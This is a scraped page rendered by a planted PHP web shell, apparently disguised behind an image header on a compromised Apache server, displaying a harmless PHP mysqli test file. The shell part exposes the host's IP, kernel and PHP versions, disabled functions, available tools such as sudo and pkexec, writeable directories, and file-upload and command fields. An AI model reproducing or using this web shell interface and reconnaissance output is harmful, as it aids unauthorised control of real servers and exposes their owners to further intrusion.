????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.137.165.75
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/mysqli_result_references.phpt
--TEST--
References to result sets
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifemb.inc');
require_once('skipifconnectfailure.inc');
?>
--FILE--
<?php
	require_once('connect.inc');
	require_once('table.inc');

	$references = array();

	if (!(mysqli_real_query($link, "SELECT id, label FROM test ORDER BY id ASC LIMIT 2")) ||
			!($res = mysqli_store_result($link)))
		printf("[001] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	$idx = 0;
	while ($row = mysqli_fetch_assoc($res)) {
		/* mysqlnd: force separation - create copies */
		$references[$idx] = array(
			'id' 		=> &$row['id'],
			'label'	=> $row['label'] . '');
		$references[$idx++]['id'] += 0;
	}

	mysqli_close($link);

	mysqli_data_seek($res, 0);
	while ($row = mysqli_fetch_assoc($res)) {
		/* mysqlnd: force separation - create copies */
		$references[$idx] = array(
			'id' 		=> &$row['id'],
			'label'	=> $row['label'] . '');
		$references[$idx++]['id'] += 0;
	}

	mysqli_free_result($res);

	if (!$link = my_mysqli_connect($host, $user, $passwd, $db, $port, $socket))
		printf("[002] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n",
			$host, $user, $db, $port, $socket);

	if (!(mysqli_real_query($link, "SELECT id, label FROM test ORDER BY id ASC LIMIT 2")) ||
			!($res = mysqli_use_result($link)))
		printf("[003] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	while ($row = mysqli_fetch_assoc($res)) {
		/* mysqlnd: force separation - create copies*/
		$references[$idx] = array(
			'id' 		=> &$row['id'],
			'label'	=> $row['label'] . '');
		$references[$idx]['id2'] = &$references[$idx]['id'];
		$references[$idx]['id'] += 1;
		$references[$idx++]['id2'] += 1;
	}

	$references[$idx++] = &$res;
	mysqli_free_result($res);
	@debug_zval_dump($references);

	if (!(mysqli_real_query($link, "SELECT id, label FROM test ORDER BY id ASC LIMIT 1")) ||
			!($res = mysqli_use_result($link)))
		printf("[004] [%d] %s\n", mysqli_errno($link), mysqli_error($link));

	$tmp = array();
	while ($row = mysqli_fetch_assoc($res)) {
		$tmp[] = $row;
	}
	$tmp = unserialize(serialize($tmp));
	debug_zval_dump($tmp);
	mysqli_free_result($res);

	mysqli_close($link);
	print "done!";
?>
--CLEAN--
<?php
	require_once("clean_table.inc");
?>
--EXPECTF--
array(7) refcount(2){
  [0]=>
  array(2) refcount(1){
    [%u|b%"id"]=>
    long(1) refcount(1)
    [%u|b%"label"]=>
    %unicode|string%(1) "a" refcount(1)
  }
  [1]=>
  array(2) refcount(1){
    [%u|b%"id"]=>
    long(2) refcount(1)
    [%u|b%"label"]=>
    %unicode|string%(1) "b" refcount(1)
  }
  [2]=>
  array(2) refcount(1){
    [%u|b%"id"]=>
    long(1) refcount(1)
    [%u|b%"label"]=>
    %unicode|string%(1) "a" refcount(1)
  }
  [3]=>
  array(2) refcount(1){
    [%u|b%"id"]=>
    long(2) refcount(1)
    [%u|b%"label"]=>
    %unicode|string%(1) "b" refcount(1)
  }
  [4]=>
  array(3) refcount(1){
    [%u|b%"id"]=>
    &long(3) refcount(2)
    [%u|b%"label"]=>
    %unicode|string%(1) "a" refcount(1)
    [%u|b%"id2"]=>
    &long(3) refcount(2)
  }
  [5]=>
  array(3) refcount(1){
    [%u|b%"id"]=>
    &long(4) refcount(2)
    [%u|b%"label"]=>
    %unicode|string%(1) "b" refcount(1)
    [%u|b%"id2"]=>
    &long(4) refcount(2)
  }
  [6]=>
  &object(mysqli_result)#2 (5) refcount(2){
    [%u|b%"current_field"]=>
    NULL refcount(1)
    [%u|b%"field_count"]=>
    NULL refcount(1)
    [%u|b%"lengths"]=>
    NULL refcount(1)
    [%u|b%"num_rows"]=>
    NULL refcount(1)
    [%u|b%"type"]=>
    NULL refcount(1)
  }
}
array(1) refcount(2){
  [0]=>
  array(2) refcount(1){
    [%u|b%"id"]=>
    %unicode|string%(1) "1" refcount(1)
    [%u|b%"label"]=>
    %unicode|string%(1) "a" refcount(1)
  }
}
done!

Youez - 2016 - github.com/yon3zu
LinuXploit